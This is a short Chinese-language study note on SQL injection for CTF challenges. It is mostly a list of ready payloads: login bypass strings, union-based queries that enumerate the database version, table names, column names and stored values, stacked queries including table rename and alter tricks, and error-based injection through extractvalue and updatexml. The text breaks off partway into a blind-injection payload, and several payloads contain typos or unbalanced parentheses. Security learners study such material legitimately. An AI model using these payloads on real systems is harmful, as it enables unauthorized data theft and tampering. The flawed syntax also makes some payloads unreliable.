sql注入学习
首先来了解一下在CTF中最为常见的sql查询语句 1 select * from users where username=’username’ and password=’password’; 这个语句的意图也非常明显,查询users数据表中的所有字段,看能否找到用户输入的用户名和对应的密码。 利用点也很明确,通过闭合单引号在该查询语句的基础上添加我们想要的查询语句(此即为sql注入) 下面对CTF中出现的一些常见考点做一个简单的梳理和总结 万能密码(以上面这条查询语句为例) 1 2 ‘or 1=1# username=admin\&password=or 1;# //通过斜杠转义单引号 联合注入 有无回显测试 1 2 ?id=-1’order by 1%23 //使用order by主要用于确定字段数 ?id=1’union select 1,2,3%23 有回显注入 分为数字型,字符型 利用select查询 (以字符型注入为例) 查询sql版本 1 ?id=-1’union select 1,version(),3%23 查询数据库名(把database放在回显点上): 1 ?id=-1’union select 1,database(),3%23 查询数据表名: 1 ?id=-1′ union select 1,group_concat(table_name) from information_schema.tables where table_schema=database()%23 查询字段名: 1 ?id=-1’union select 1,database(), group_concat(column_name) from information_schema.columns where table_name='(数据表名)’%23 查询结果: 1 ?id=-1′ union select (字段名),2 from 表名 %23 堆叠查询 查询数据库: 1 1′;show databases;%23 查询数据表: 1 1′;show tables;%23 查询字段名(如果数据表名是数字形式,使用反引号): 1 1′;show columns from (数据表名);%23 堆叠查询没有直接读取字段值的方法,但是有时候可以通过 预处理 运用handler命令: 1 1′;handler (数据表) open;handler (数据表) read first;handler (数据表) close;%23 运用rename命令: 1 1′;rename tables `(默认表)` to `(新表)`;rename tables `(待查询的表)` to `(默认表)`; alter table `(默认表)` change `(待查询字段)` `(默认字段)` varchar(100);23 报错注入 基于extractvalue()的payload: 查询数据库: 1 id=a’and extractvalue(1,concat(0x7e,select(database())))%23 查询数据表: 1 id=a’ and extractvalue(1,concat(0x7e,select(group_concat(table_name)from(information_schama.tables)where(table_schema)like(‘数据库名’))%23 查询字段: 1 id=a’ and extractvalue(1,concat(0x7e,select(group_concat(column_name)from(information_schema.columns)where(table_name)like(‘数据表名’))))%23 查询字段值(字段名和数据表名不需要单引号): 1 id=a’ and extractvalue(1,concat(0x7e,select(group_concat(字段名))from(数据表名)))%23 可用updatexml(): 查询数据库名: 1 id=a’ and updatexml(1,concat(0x7e,(select database()),0x7e),1) %23 无回显注入 布尔盲注 1 id=1′ and length(database())